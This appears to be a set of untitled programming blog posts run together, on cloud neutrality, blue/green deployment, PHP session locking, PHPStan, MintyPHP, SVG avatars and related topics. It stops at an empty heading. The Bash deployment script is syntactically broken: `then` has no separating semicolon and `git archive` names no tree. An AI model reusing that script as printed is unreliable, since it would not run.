This leads to the following changes in IT infrastructure management:

• Renting or leasing infrastructure instead of buying.
• Easy upgrade and downgrade of infrastructure, so that costs match usage.
• Being located in a secure data-center, instead of on-premise.

Often people say that the cloud provides the following (managed) services:

• Not having to report and/or repair infrastructure when it is broken.
• Automatically upgrading and downgrading infrastructure capacity when needed.
• Providing transparent High Availability (HA) for your infrastructure.

Ideally the cloud does all of these, so that you don’t have to hire (as many) expensive Site Reliability Engineers (SREs) to manage your infrastructure.

On “cloud neutrality”

In order to fully appreciate what a cloud exiteer does you must understand the goal of “cloud neutrality” that is pursued. Cloud neutrality is defined as an independence of cloud providers. Neutrality is reached when the time to migrate is lower than the typical service window (or otherwise acceptable downtime) and the migration costs are negligible.

Not all IT infrastructure can be made cloud neutral at low costs. Some companies choose to use vendor specific cloud services to run their business. This makes it hard or even impossible to switch cloud providers. A cloud exiteer can identify such risks and guide your company away from them, without actually changing cloud providers. The cloud exiteer can replace vendor specific services with popular open-source implementations.

A company that have taken cloud neutrality into account can have optimal advantage of the “Economies of Scale”, guaranteeing better Return On Investment (ROI) when provided with additional funding.

What about Hey.com?

David Heinemeier Hansson (aka DHH) wrote an inspiring article on how he saves 7 million by “leaving” the cloud with his email product “Hey.com”. That is interesting, but I doubt that many readers find themselves in his situation. Not only because they don’t run a similar sized business, but also because DHH must have been leading the company towards “cloud neutrality” for a while (probably from long before he announced that he would leave the cloud). Thanks to this strategy his negotiation position must have always been quite good. I believe that this is why he saves “only” 7 million (and not a magnitude more). I’m sure that he employs some very good cloud exiteers that have helped him to steer away from vendor specific cloud solutions. And they did a marvelous job, congratulations!

Links

• Investopedia - CapEx vs. OpEx: What’s the Difference?
• Investopedia - Economies of Scale: What Are They and How Are They Used?
• Investopedia - Return on Investment (ROI): How to Calculate It and What It Means
• DHH - Why we’re leaving the cloud
• DHH - We stand to save $7m over five years from our cloud exit

Naive approach: delete first

A naive deployment of an Apache website may go like this:

• Remove the entire old version from the server
• Transfer the entire new version to the server

It should be clear that this can lead to downtime between the removal (often instantaneous) and the completion of the upload of the new version. A popular way to deal with this downtime is to place the site “under maintenance” by redirecting all requests to a single HTML page during the update. This isn’t ideal, especially on larger sites with frequent updates as the downtime may be considerable.

Better: delete last

A rsync with “–delete-after” goes directory by directory and does:

• Transfer and create the files that are new in this version to the server
• Transfer and replace the files that are modified in this version to the server
• Remove the files that were not in this version from the server

Although there should be no “404 page not found” errors we can still have visitors that do requests that access multiple files that are a mix of versions making the response inconsistent. When the files contain code (e.g. JavaScript) then this can cause hard to explain software bugs. Especially when cache headers are applied as they may cause this problem to occur even after the deployment has completed.

Best: zero downtime deployment

An zero downtime deployment takes place in the following steps:

• Transfer the entire new version to the server
• Atomically switch from the old version to the new version
• Remove the entire old version from the server

As the server replaces the old version with the new version any new request that comes in after the switch is handled consistent. Any request that is handled before the switch is also handled consistent. Requests that are handled in a time-frame in which a switch took place may be handled inconsistently. E.g. a request that started 100 milliseconds before the switch and retrieved it’s last asset 500 milliseconds after the switch is such a request. And obviously it is only inconsistent if the requests have actually hit some updated code. So depending on the size of the change that chance may vary.

Bash deployment script

The following script can deploy a git repository with zero downtime:

#!/bin/bash
# set primary to the existing and
# set secondary to the target directory
if [[ -d green ]]; then
  PRIMARY=green
  SECONDARY=blue
else
  PRIMARY=blue
  SECONDARY=green
fi
# make the target directory
mkdir $SECONDARY
# do the deployment
if git -C app.git archive --prefix=$SECONDARY/ | tar x then
  # the deployment succeeded create a new symlink
  ln -s $SECONDARY public_html_new
  # replace the old symlink with the new symlink (atomic)
  mv -fT public_html_new public_html
  # remove the old files from disk
  rm -Rf $PRIMARY
else
  # remove the failed deployment
  rm -Rf $SECONDARY
fi

Note that the command “git -C app.git archive --prefix=$SECONDARY/ | tar x” may also be a Hugo build or any other long lasting deployment process. And this Bash script may be put into the “post-receive” hook of your git repository (when pushing to production). This is what the directory looks like after deployment:

drwxrwxr-x 7 maurits maurits 4096 Nov 21 12:02 app.git
drwxr-xr-x 9 maurits maurits 4096 Feb  1 17:09 green
lrwxrwxrwx 1 maurits maurits    5 Feb  1 17:09 public_html -> green

Note that the Apache “DocumentRoot” is set to “public_html” directory, which is actually a symlink. Nine minutes later (after the next deployment) the directory looks like this:

drwxrwxr-x 7 maurits maurits 4096 Nov 21 12:02 app.git
drwxr-xr-x 9 maurits maurits 4096 Feb  1 17:18 blue
lrwxrwxrwx 1 maurits maurits    5 Feb  1 17:18 public_html -> blue

You can see that the existence of the blue and green directories alternate.

Conclusion

Even though zero downtime deployments can guarantee 100% uptime during deployments, they cannot guarantee 100% consistent replies during deployment. You can trade consistent replies for some forced downtime (and terminated connections) by stopping Apache before and starting it after the zero downtime deployment, but whether or not you want to make that trade-off is entirely up to you. I have had a lot of success with very frequent small incremental deployments using this zero downtime strategy and I hope you will too…

Happy programming!

Links

• StackOverflow - Moving a directory atomically

Popular static site generators (SSGs):

• Hugo: A module-based static site generator with blazing fast performance.
• Jekyll: A blog-friendly static site generator that you can use with Github Pages.
• Gatsby: A whole suite of website-creation products along with static site generation
• Eleventy: This generator is perfect if you’re a fan of JavaScript and Node.js.

Why use a static site generator (SSG)?

• Security: SSGs create content in versioned static assets that can be hosted without a database, reducing the attack vectors.
• Performance: There is no database to connect to and a the static assets can be served from a geographically local web server.
• Scale: By using a content delivery network (CDN) you can distribute the content world-wide allowing almost limitless scale.

What we often don’t read:

• Design consistency: Clean separation between content and design.
• Ease of use: It has less options as it won’t let you modify the design.
• Hosting costs: A CDN will ensure low costs (even when your site is popular).

When NOT to use a SGG:

• Member area: Visitors of the site need to login and manage profiles.
• Complex web shops: You want a web shop with logins and personalized discounts.
• Design changes: Your content editors want to change colors, fonts and layouts.

Why choose Hugo?

• Popular: With 65k stars on Github it is the most popular SGG.
• Fast: A site build takes seconds, making it one of the fastest SGGs.
• Complete: Many features (such as image resizing) are included.

Conclusion

If your site is suitable to be a Hugo site you should definitely consider to use Hugo. It is popular and for a good reason: it has technical excellence. Your websites will be more secure and load faster. CDN deployments will make your site scale and make it fast anywhere in the world. If you need a good CMS to go with Hugo choose CloudCannon or (our own) UseCue CMS.

Happy coding!

Most people say it is the person to go to for difficult problems. Unfortunately not for the right reasons, but it is true. This is not a 10x programmer. This is not a positive trait. This person is of not much use to a software team. Actually this person may be bringing negative value and you might be better off without. This person undermines team spirit and team responsibility. But it takes courage to acknowledge this (and act on it).

Can this person change or improve? Yes, but it requires retrospection and courage to acknowledge your own shortcomings. It requires a strong character and not dwelling in a misplaced feeling of importance. Yes, the company should let this person go. It will be a though decision, but it is the right thing. Even for the person it will be better.

It must be done. Steer for change and positive team behavior. It won’t be easy. Managers tend to rely only on technical knowledge (no matter how it is achieved or protected). We all need to ask for this to stop. We must put an end on the abuse. The negativity that makes us feel worthless and misunderstood. Only a collective action in acknowledging this misbehavior can have a positive outcome.

Bottom line is that programmer productivity can be measured by two things: A) how effective somebody can implement code B) how effective somebody can collaborate. Unless you are building, maintaining and supporting the software on your own, you need to be adequate in both areas. If you are not than you are not productive or even counter productive.

Don’t feel insecure of a lack of knowledge that you can’t acquire. Keep trying as hard as you can, but at the same time work to weed out the people that feed their self-esteem with knowledge that they don’t share. The great people are the ones that take pride in letting their colleagues grow.

Happy coding!

Tiers and layers

A “tier” refers to “a functional division of the software that runs on infrastructure separate from the other divisions”. So, in a web application you have 3 tiers:

• Presentation tier (web browser, displaying HTML/CSS)
• Application tier (web server, processing HTTP requests)
• Data access tier (database server, executing SQL)

Within a single “tier” people talk about “layers”, these are dealing with communication with the other tiers. The web application that you are building may have 3 corresponding layers:

• Presentation layer (in: data, out: markup)
• Application layer (in: request, out: response)
• Data access layer (in: query, out: data)

Martin Fowler agrees that one should use “layering to separate domain logic from such things as persistence and presentation responsibilities”.

2 rules for the request life cycle

Since the application layer handles the HTTP request, it will in it’s turn call the data access layer and the presentation layer. It should do so in that order and in two separate stages. The data access layer should be called in read-only mode in cases where no state change is expected. After the application layer has received the data from the data access layer, it can send the data to the presentation layer for displaying. More specific:

1. Web development frameworks should enforce the two stages within the application layer by disallowing the data access layer to be accessed by the presentation layer. This also means that every user interaction has only one dynamic HTTP request as a result (and maybe a few static HTTP requests for images and other resources).
2. Dynamic HTTP requests that use “safe” methods (GET for instance) should only read from the data access layer (including the session). The RFC writes “the client does not request, and does not expect, any state change on the origin server”.

I believe these 2 rules make web development applications well-structured, more secure and scale better.

About the MVC approach

Within modern MVC web frameworks the presentation layer is often represented by “views”, the application layer lives in the “controllers” (with or without a set of “services” containing business logic), while the data access layer is often some form of Object Relational Mapper (ORM) that produces objects from “models” that map onto database tables (sometimes queries are grouped in “repositories”).

Martin Fowler says that this is not “true” OOP, but actually a “procedural style design”. I think he is not wrong, but then again I’m not a self-acclaimed “object bigot”, so I don’t see the harm in a (somewhat) procedural style.

Applying the above rules to the MVC terminology we get dumb data objects retrieved from the ORM that are explicitly passed (or “pushed”) to the views, while views cannot retrieve (or “pull”) new data objects. Also the controller’s actions should automatically be marked as read-only when they cannot write to the database. The read-only concept should also apply to the session data. The current MVC web development frameworks do not enforce the two rules stated above, which I feel is a missed opportunity for best practice guidance. Please let me know if you find a web development framework that does.

Better scaling

Data retrieval before presentation leads to shorter (and thus less concurrent) connections to the data access tier. Read-only request may reduce writing to the data access tier and these requests may not hit the data access tier at all. They can often be served from various caches, depending on the consistency guarantees that are requested (using request headers). Since the number of concurrent write requests to the data access tier is the hardest thing to scale in a (typical) web application these 2 rules are important. These 2 rules allow you to scale to high user counts with only a single primary database server.

Enjoy programming!

Links

• IBM - What is three-tier architecture?
• Martin Fowler - Anemic Domain Model (2003)
• MDN Web Docs - Safe (HTTP Methods)
• RFC 9110 - HTTP Semantics - Safe Methods

Can you spot the bug?

For anyone less familiar with LINQ the bug is hard to spot (especially in VB.net):

Dim elements = New List(Of Integer)()
For i = 0 To 9999
    elements.Add(i)
Next
Dim sorted = elements.OrderBy(Function(x) -x)
Dim count as Long = 0
For i = 0 To 9999
    count += sorted(i)
Next
Console.WriteLine(count)

In C# this becomes already a bit more obvious (as it requires the “ElementAt()” method):

var elements = new List<int>();
for (var i = 0; i < 10000; i++)
{
    elements.Add(i);
}
var sorted = elements.OrderBy(x => -x);
long count = 0;
for (var i = 0; i < 10000; i++)
{
    count += sorted.ElementAt(i);
}
Console.WriteLine(count);

The line:

var sorted = elements.OrderBy(x => -x);

should be:

var sorted = elements.OrderBy(x => -x).ToList();

With this change the code runs roughly 30x times faster (try it).

Enjoy programming!

Links

• StackOverflow - Calling ToList() on Linq Select
• StackOverflow - LINQ performance FAQ

TLDR; What is the danger?

Session locking prevents your application from overwriting and losing random session modifications. Mattias Geniar writes in his article:

“What value is in the session? The value from script 1. The data stored by script 2 is overwritten by the last save performed in script 1. This is a very awkward and hard to troubleshoot concurrency bug. Session locking prevents that.”

Anthony Ferrara (username “ircmaxell”) agrees on Stackoverflow saying:

“You don’t want to disable it… If you do, you’ll potentially run into all sorts of weird issues”

Note that top-level navigation is serialized by the browser, so the bug mainly appears when PHP code that writes to the session is executed in AJAX calls. The performance downsides of locking that people mention can be worked around by implementing the “SessionUpdateTimestampHandlerInterface” and closing the session with session_write_close immediately after starting it with session_start. The major frameworks might consider doing this automatically on GET (AJAX) requests (and have some override option). For some background on this topic read my blog post titled “Proposal to fix a 2012 bug in Symfony”.

Locking Redis sessions

If you want to use my implementation of the Redis session save handler you need to put this before your call to “session_start()”:

ini_set('session.save_path', 'tcp://localhost:6379');
ini_set('session.use_strict_mode', true);
session_set_save_handler(new RedisSessionHandler(), true);

The source code for the RedisSessionHandler class can be found on Github, see: https://github.com/mintyphp/session-handlers/blob/main/src/RedisSessionHandler.php

About the test suite

Testing concurrency scenarios is not the easiest thing to program and that’s why I had so much fun doing just that. I wrote a test suite to ensure that I could reproduce the data loss scenario that Mattias Geniar describes in his post. Here is what the test suite does:

It executes a HTTP request that starts the session and sets a session variable to 1. After that it does 9 concurrent (parallel) requests (using multi-curl) to increment that session variable. If locking works correctly the session variable is set to 10 after the 10 requests. Without locking all 9 concurrent requests read the value as 1 and write it as 2 (incremented). This results in a session variable being set to 2 after all 10 requests.

Then I wrote an call intercepting logger allow me to record the session handler calls of the known good (native) implementation that can be executed using:

session_set_save_handler(new LoggingSessionHandler(new \SessionHandler()), true);

After that I found a reference on the implementation of a session save handler in the test suite of the PHP repository on Github. All pieces came together nicely and allowed me to create some more locking PHP session save handlers that can actually be tested for correctness.

Source code: https://github.com/mintyphp/session-handlers

Applying the test suite to Symfony

The same testing mechanism can be applied to the existing Session handlers in Symfony. So I created a similar test suite to show the (lack of) locking of the Symfony session save handlers. Note that some of the existing handlers fail the test (as expected).

Source code: https://github.com/mevdschee/symfony-session-tests

Links

• thwartedefforts.org - Race Conditions with Ajax and PHP Sessions
• PHP Session Locking: How To Prevent Sessions Blocking in PHP requests
• Stackoverflow - PHP & Sessions: Is there any way to disable PHP session locking?
• TQdev.com - Proposal to fix a 2012 bug in Symfony

Adding PHPStan config file

You need to add a “phpstan.neon” configuration file to the root of your project. Mine looks like this:

parameters:
    level: 5
    scanFiles:
        - web/index.php
    fileExtensions:
        - php
        - phtml
    paths:
        - lib
        - pages

This is specific for the framework I’m using (MintyPHP). You may need a different configuration or maybe no configuration at all (the defaults are quite good).

Installing PHPStan

PHPStan can be installed using composer. The command that you need is:

composer --dev require phpstan/phpstan

Note that the “–dev” flag means that you don’t need the dependency in a production environment.

A PHPStan plugin in VSCode

PHPStan can integrate with many IDEs. I use VSCode to write PHP code. In VSCode I use the following extension for PHPStan:

ext install swordev.phpstan

You can open the “Command Palette” to enter that command (Ctrl-Shift-P or F1 on Linux).

Framework support

It is important to note that PHPStan has official support for Symfony, Doctrine and PHPUnit. There is also a long list of other frameworks that are supported (including Laravel and CakePHP). All officially and unofficially supported frameworks can be found in the PHPStan user guide.

MintyPHP support

I wrote a small script that adds a “docBlock” to every action and view file defining the variables that may be used in that file. The script can be run using the following command:

php vendor/mintyphp/tools/prepare_phpstan.php

The script adds a docBlock to the action file named “login($alias,$returnUrl).php” with the following path variable definitions:

/**
 * @var string|null $alias
 * @var string|null $returnUrl
 */

The view file named “login(login).phtml” will also get a docBlock with the available variables it can use (based on the scanning of both the action and the template action).

Overall opinion

PHPStan is quite easy to setup and to add to a project. By setting the reporting level at an appropriate value (5 for me) I didn’t have to add many docBlocks. It helped me find a handful of bugs that I otherwise would have overlooked. That alone is worth the invested time. I was already using “Intelephense” showing syntax errors when files were open, but the fact that I can scan the project for errors provides a lot of value. Since PHPStan can find more than simple syntax errors (also: undefined variables, missing parameters, etc…) it is a sure way to improve the quality of your release… without writing (more) tests.

Links

• PHPStan User Guide - Getting Started
• PHPStan User Guide - Extension Library
• Github - PHPStan extension for VSCode
• Github - PHP code intelligence for Visual Studio Code

Battle tested

I have created MintyPHP in 2013 and it is on packagist since 2018. I use it daily to build and maintain web applications on the LAMP stack and currently I run a handful of commercial web applications on the framework. There are a few web shops, a Hugo CMS, this blog and some administrative applications. I tend to make as little changes as possible to the framework (to reduce maintenance costs). After using MintyPHP in production for 9 years this web framework has matured to version 3.

Recommended IDE

I use Visual Studio Code with the “PHP Intelephense” plugin. I hardly use other plugins. I’m confident that the development experience in PhpStorm or other IDEs will be great too. Settings I use (in settings.json) are:

{
  "editor.formatOnSave": true,
  "intelephense.telemetry.enabled": false
}

I love the auto-completion, it makes me a lot faster and also the red underlines when a dependency is missing is great.

Migration

I have migrated all relevant projects now to v3 and it was some work. This was mainly due to the stricter autoloader and all I had to do is add the “use” statements. For example, most .phtml files (views) need “use MintyPHP\Session”, while most .php files (actions) also need “use MintyPHP\DB” to access the database. This work will pay off with some faster development times and less errors due to better understanding of the code by the IDE (highlighting problems).

Philosophy

Note that MintyPHP is not your usual OOP framework and not for everyone. It’s goals are: (1) Easy to learn (and debug) (2) Secure by design and (3) Light-weight. All functionality is implemented in static functions and classes are used as function libraries. The router is path and filename based. This means that by creating files and directories you create routes. Views are identified by the “.phtml” extension, containing PHP as templating language. Controller actions have the “.php” extension and are not allowed to send output. There is no ORM and no DBAL, so you will have to write (MariaDB) SQL queries.

Try it?

If you are interested, you may look up the site at mintyphp.github.io and download the latest release. You may also follow/star the project on Github. Any feedback on Github issues is appreciated.

Links

• Download MintyPHP
• MintyPHP on Github
• Blog: MintyPHP now on packagist!
• Blog: Reduce the mental load for developers

Build quality and compatibility

I buy a lot of Beelink products and they all have a good build quality. Nevertheless this one stands out: It has well performing and quiet cooling, a slot for the RAM and a slot for the M2 (SATA only) SSD, an unlocked BIOS and the casing is great and so is the packaging. It is delivered with Windows 11, but it runs Linux without modifications. All I had to do is remove all partitions from the SSD using Gparted, then reboot with a USB stick (press ESC to enter the BIOS and select the USB stick under “Boot override” in the “Boot” section). In Linux everything (WiFi, Bluetooth, audio) was working without adjustments to the default install. I am running Linux Mint 21 (XFCE Edition) and it runs super smooth.

Power usage and use cases

This little pc draws between 8 (idle) and 27 watt (full load) and this low power usage makes the box ideal for an always-on Linux server. Since it is very quiet it can also be used in the living room hooked up to the TV (as HTPC or for console emulation using Dolphin). You may also use it as a simple desktop (browsing with Firefox + light office tasks in LibreOffice) or thin client (RDP over SSH using Remmina). It really is a great piece of hardware that ticks all the boxes for me.

Links

If you want to see more in depth reviews with pictures and video’s, check these out:

• CNX-Software | Beelink MINI S: A Low-cost mini PC tested with Ubuntu 22.04
• MinixPC | Beelink Mini S Mini PC Review
• Notebookcheck | Beelink U59 Mini-S mini PC review
• ETA Prime | The Mini S Is An Affordable Yet Versatile Tiny Windows 11 PC
• TechTablets | Beelink Mini S Review Tiny Affordable Windows 11 Pro Mini PC

Have fun!

Complexity advantages

Unfortunately both management and development benefit from technological complexity. Developers like to work in an “innovative environment”, they like to work on “interesting problems” not yet another CRUD application. It is better for their career as experience with cutting edge technology is a reason for higher pay, due to knowledge scarcity on these new (often hyped) technologies. They won’t get pushed so hard to produce and get plenty of time to learn new things. Management will find it easier to hire people and can easier explain the high salaries they need to pay. Also managing more expensive engineers makes managers’ jobs more important when evaluated by the board. One could say that the managers and developers are more than happy to fail as they change jobs frequently and the startup success may even be threat to them (real customers, real demands, real deadlines).

So now what?

I think we can all agree that technology choices are strategical. A startup should hire a skeptical software architect as CTO, not a latest tech lover. That architect should be allowed to make technology choices (programming language, database systems, application frameworks) and the company should stick to the choices made. Automated testing (including performance) should be taken into account from the start as those ensure a healthy software system. A centralized monolithic application may not be a popular choice, but nobody can argue it’s low complexity and low costs. Don’t dive into micro services or other forms of distributed applications if you don’t need to. Most software can be build with a team of 3-4 developers. Add some people that focus on testing and documentation and you get a reasonable sized team.

Conclusion

Many startups will say they use “latest” technology as investors and employees want to hear that. If you are a second mover (lots of startups are) then it’s my opinion that you shouldn’t do this. Choose boring technology, set a clear goal, focus and invest in better sales and marketing.

Links

• Boring Technology is A Business Advantage
• Choose Boring Technology
• The “Boring Software” manifesto

Get started with a CDN

Okay, so all you need to do is put the following line between the “<head>” and “</head>” tags in your HTML:

<link rel="stylesheet" href="https://unpkg.com/@fortawesome/fontawesome-free@6.2.0/css/all.min.css">

Now you can test that it works by pasting this snippet in your HTML:

<i class="fa-solid fa-house"></i>

This should display the “home” icon. If you want to search the 2000+ free icons, search them here.

Download for self hosting

If you are building a web site or web application and you want to host the 2000+ free icons of Font Awesome on your own domain, then you can download the set from:

https://github.com/FortAwesome/Font-Awesome/releases

There is a file named “fontawesome-free-6.2.0-web.zip” which is about 6 megabyte in size and has the following structure:

.
├── css
├── js
├── less
├── metadata
├── scss
├── sprites
├── svgs
│   ├── brands
│   ├── regular
│   └── solid
└── webfonts

You can place this is the document root of your web server in the folder “fontawesome-free” and then add the following link in the head of your HTML:

<link rel="stylesheet" href="/fontawesome-free/css/all.min.css">

Easy isn’t it? No need to enter your e-mail address for some “Kit”, whatever it may be.

Happy programming!

Install .NET 6 on Ubuntu 22.04

If you are not on Windows and cannot install Visual Studio Community Edition 2022 then these instructions may be welcome to you. On Ubuntu 22.04 you need to execute:

sudo apt install dotnet6

Now you have the “dotnet” command on your command line and I would recommend that you install Visual Studio Code and the VB.NET extension “VB.NET Grammars and Snippets” and “aspnet-beautify”.

How to get started

Would you like to play with this minimalistic MVC framework? First you need to check whether or not you can clone and run the example project:

git clone https://github.com/maussoft/mvc-example-vb
cd mvc-example-vb
dotnet run

Now you have the following directories in your project directory:

• bin/ (ignored, where the executables are stored)
• obj/ (ignored, where the intermediate binaries are stored)
• tools/ (this is where the view generator task is stored)
• Content/ (this is where the Javascript, CSS and images are stored)
• Controllers/ (your controller classes)
• Views/ (your views with a subdirectory for every controller)
• Acme.Example.vbproj (your project file)
• Application.vb (the entry point of your application, with function “Main” )
• Session.vb (the session object that is available on every action)
• appsettings.json (the settings of the application)

Now let me show you how to add some code.

Writing the code

The webserver uses the following session class in Session.vb:

Imports System.Collections.Generic

Public Class Session
    Public Property Items As New List(Of String)
End Class

This Session class can hold (todo) items in a list.

Now let’s create a simple controller in Controllers/Todo.vb:

Imports Maussoft.Mvc

Namespace Controllers
    Public Class Todo
        
        Public Sub Add(context As WebContext(Of Session))
            context.Data.Title = "Add Todo"
            If context.Method = "POST" Then
                context.Data.Values = New ViewData(context.Post)
                context.Data.Errors = New ViewData()
                If context.Data.Values.Item.Length = 0 Then
                    context.Data.Errors.Item = "Field is mandatory"
                End If
                If context.Data.Errors.Empty() Then
                    context.Session.Items.Add(context.Data.Values.Item)
                    context.Redirect("/Todo")
                    Return
                End If
            Else
                context.Data.Values = New ViewData()
            End If
        End Sub

        Public Sub Index(context As WebContext(Of Session))
            context.Data.Title = "List Todos"
        End Sub

    End Class

End Namespace

Then create a Layout in Views/Layouts/Default.aspx:

<%@ Master %>
<!DOCTYPE html>
<html>
    <head>
        <title>
            <%= Context.Data.Title %>
        </title>
    </head>
    <body>
      <% RenderViewContent() %>
    </body>
</html>

And add a view in Views/Todo/Add.aspx:

<%@ Page Inherits="Layouts.Default" %>
<form method="post">
    <div>
        <label>Item</label><br>
        <input type="text" name="Item" value="<%= Context.Data.Values.Item %>" /><br>
        <% If Context.Data.Errors?.Item.Length Then %>
            <span><%= Context.Data.Errors.Item %></span><br>
        <% End If %>
        <input type="submit" value="Add" />
    </div>
</form>

And another view in Views/Todo/Index.aspx:

<%@ Page Inherits="Layouts.Default" %>
<ul>
    <% For Each item in Context.Session.Items %>
        <li><%= item %></li>
    <% Next %>
</ul>
<a href="/Todo/Add">Add</a>

And then run the application using:

dotnet run

And access it on:

http://localhost:2345/Todo

You will see a very simple Todo application with a list stored in the Session.

See: https://www.nuget.org/packages/Maussoft.Mvc

Happy programming!

Links

• Maussoft.Mvc nuget package
• Maussoft.Mvc VB.net example

Our goal

The target is to create the following avatar with initials “MS” for my name “Maurits van der Schee”:

Code:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <circle r="50" cy="50" cx="50" style="fill:#8e24aa"></circle>
  <text x="50" y="50" dominant-baseline="central" text-anchor="middle" 
    style="font-size:45px;fill:white;">MS</text>
</svg>

Note that we set “display:block” on the SVG element to avoid a spurious margin. We use a “viewBox”, so that the SVG is automatically scaled. Be careful to scale the SVG by setting a CSS “width” on the container, using “height” won’t work.

Convert a name to initials

The following code converts “Maurits van der Schee” to “MS”:

function getCapitals(string $name): string
{
    $capitals = '';
    $words = preg_split('/[\s-]+/', $name);
    $words = [array_shift($words), array_pop($words)];
    foreach ($words as $word) {
        if (ctype_digit($word) && strlen($word) == 1) {
            $capitals .= $word;
        } else {
            $first = grapheme_substr($word, 0, 1);
            $capitals .= ctype_digit($first) ? '' : $first;
        }
    }
    return strtoupper($capitals);
}

Some test cases:

Maurits van der Schee => MS
M.E. van der Schee => MS
Maurits 2 => M2
Maurits 1234 => M
maurits test => MT
Maurits-Eduard => ME

Note that there is an exception for a single digit word.

Select a good color

We want a random color that is always the same for the same name. therefore we use a hash function to create a unique number that we then convert to an index using a modulo operator, see:

function getColor(string $name): string
{
    // level 600, see: materialuicolors.co
    $colors = [
        '#e53935', // red
        '#d81b60', // pink
        '#8e24aa', // purple
        '#5e35b1', // deep-purple
        '#3949ab', // indigo
        '#1e88e5', // blue
        '#039be5', // light-blue
        '#00acc1', // cyan
        '#00897b', // teal
        '#43a047', // green
        '#7cb342', // light-green
        '#c0ca33', // lime
        '#fdd835', // yellow
        '#ffb300', // amber
        '#fb8c00', // orange
        '#f4511e', // deep-orange
        '#6d4c41', // brown
        '#757575', // grey
        '#546e7a', // blue-grey
    ];
    $unique = hexdec(substr(md5($name), -8));
    return $colors[$unique % count($colors)];
}

The colors are taken from the script that colors the Emoji One colored circles as published on Wikimedia.

Inline SVG or data URI?

Instead of using inline SVG generated by PHP you may also use a Base64 encoded data URI containing svg+xml. The advantage of inline SVG is that it will inherit the font of the container, while a data URI solution must specify a font to ensure consistent rendering. The data URI solution may be easier to integrate or turn into a service (as some have done).

Is PNG better than SVG?

PNG is more expensive to render and will likely result in larger file size. PNG will result in 100% consistent rendering on all platforms, while SVG may have small differences due to the different SVG rendering engines used. Since SVG is a vector format you can use a single file at all sizes, while the PNG must be rendered at specified size (in pixels).

HTML/CSS instead of SVG

We can also use HMTL+CSS instead of SVG. To do so we need to use the following PHP code:

<div class="initials-avatar large" 
  style="background: <?= getColor($name); ?>;">
    <?= getCapitals($name); ?>
</div>

And also load the related CSS code:

.initials-avatar {
    display: inline-flex;
    flex-direction: column;
    justify-content: center;
    text-align: center;
    vertical-align: middle;
    border-radius: 50%;
    line-height: 1;
    background: grey;
    color: white;
}
.initials-avatar.large {
    width: 100px;
    height: 100px;
    font-size: 45px;
}

This looks like:

This last solution (PHP + HTML/CSS) is my favorite.

Future work

I have submitted the ideas in this post as issues on Edward Jibson’s excellent avatar repository and I will also explore the possibility of making initials avatars using HTML/CSS+Javascript as explored by Felipe Pucinelli on CodePen.

Edit: I created a CodePen too.

Links

• Wikimedia - Emoji One colored circles
• Github - Edward Jibson - Avatar repository
• oxro.io - Initials Avatar Generator API
• UI Avatars - Generate avatars with initials from names
• CodePen - Felipe Pucinelli - Initials Avatar Generator

Quick workaround

The quick workaround is to use the NativeFileSessionHandler class, which uses the session storage (handler) in the php.ini (using session.save_handler and session.save_path) that does store session files on disk. As long as sessions are not working reliable (due to lack of locking) I advice to stay away from Symfony’s Redis and Memcache support for session storage and use this native variant (that does support locking).

ini_set('session.save_handler', 'files');
ini_set('session.save_path', sys_get_temp_dir());

See: https://github.com/symfony/symfony/blob/6.1/src/Symfony/Component/HttpFoundation/Session/Storage/Handler/NativeFileSessionHandler.php

Performance impact

Some people argue that locking is bad for performance and they are right. It is bad to lock a session on a single action as this would prevent the same session to run another action in parallel (using another apache/php thread). You will mainly notice this is an AJAX heavy application as HTML (top level navigation) requests are serialized by your browser anyway. This locking is only needed when the action modifies the session data, which is something we do not know in advance (or do we?). Hence the following proposal, please read on.

Proposal (read-only sessions)

What I think would be an optimal solution for both performance and correctness: I suggest we look at the verb (GET or not) to indicate that the action (may) write to the session (on POST, PUT or DELETE) or when it should be read-only (GET). If the action may write to the session we open the session (identified by the session identifier) with a lock and write it back after the action completes. If it is a GET (especially when it is an AJAX request) we open the session in read-only mode and throw an exception when people write to it. Note that the session cleanup must take these GET requests (with read-only session) into account by writing an updated timestamp in the session store.

How to create read-only sessions

If you want to implement “read-only” session you shouldn’t use the read_and_close flag that was added in PHP 7. That call does not update session timestamp and causes session timeouts. In PHP read-only sessions can be achieved by calling session_write_close just after session_start. Although this may feel sub-optimal it is actually isn’t if your session save handler implements the “SessionUpdateTimestampHandlerInterface”. If it does then updateTimestamp is called instead of write when session_write_close is called without modifications to the session data. This takes away most of the performance concerns.

See: https://stackoverflow.com/questions/37789172/php-session-randomly-dies-when-read-and-close-is-active

Two new options for session start?

I expected the read_and_close flag to NOT lock the session (which it does) and expected that it DOES update the session timestamp (which it doesn’t). That’s because I assumed it was added to facilitate read-only sessions. I guess it has a different use case. That being said I would have liked a read_only option in the session_start function that does update the session timestamp. The read_only option may block very briefly to ensure serialization and thus consistency. I would also like to also have a read_stale option that doesn’t use locks at all (but also does update the session timestamp).

Readonly exceptions

Proposed solution: When people write to the session (or to the database) on a GET request you throw an error unless an annotation is set (to allow non-readonly behavior). This requires an alternative to the “stateless” annotation of the route, called “readonly”, which is less strict and is used to mark readonly exceptions (non-readonly on GET requests or readonly on non-GET requests).

// src/Controller/MainController.php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\Routing\Annotation\Route;

class MainController extends AbstractController
{
    /**
     * @Route("/", name="homepage", readonly=false)
     */
    public function homepage()
    {
        // ...
    }
}

Note that the readonly=false annotation is part of this proposal and not actually supported by Symfony (yet).

See: https://symfony.com/doc/current/routing.html#stateless-routes

Warnings and errors write to the session

Symfony promotes the use of a session stored “FlashBag” to transfer warnings and errors from one route to the next. This allows for the “Post/Redirect/Get” (PRG) pattern, having different routes for the form retrieval and the form submission action. This may seem to simplify the controller implementation, but I’m not even sure that it does. From a performance perspective I’m not a fan of this pattern as it increases the number of session writes.

See: https://stackoverflow.com/questions/10827242/understanding-the-post-redirect-get-pattern

CSRF tokens write to the session

Cross Site Request Forgery (CSRF) protection avoids blind form submission in case of XSS vulnerabilites. This type of form submission protection uses CSRF tokens that writes to the session on every form retrieval request (in Symfony). Although that may certainly be true for Symfony, that is not a necessity for CSRF protection, as you can read here:

CSRF tokens should be generated on the server-side. They can be generated once per user session or for each request. Per-request tokens are more secure than per-session tokens as the time range for an attacker to exploit the stolen tokens is minimal. However, this may result in usability concerns.

See: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#synchronizer-token-pattern

Conclusion

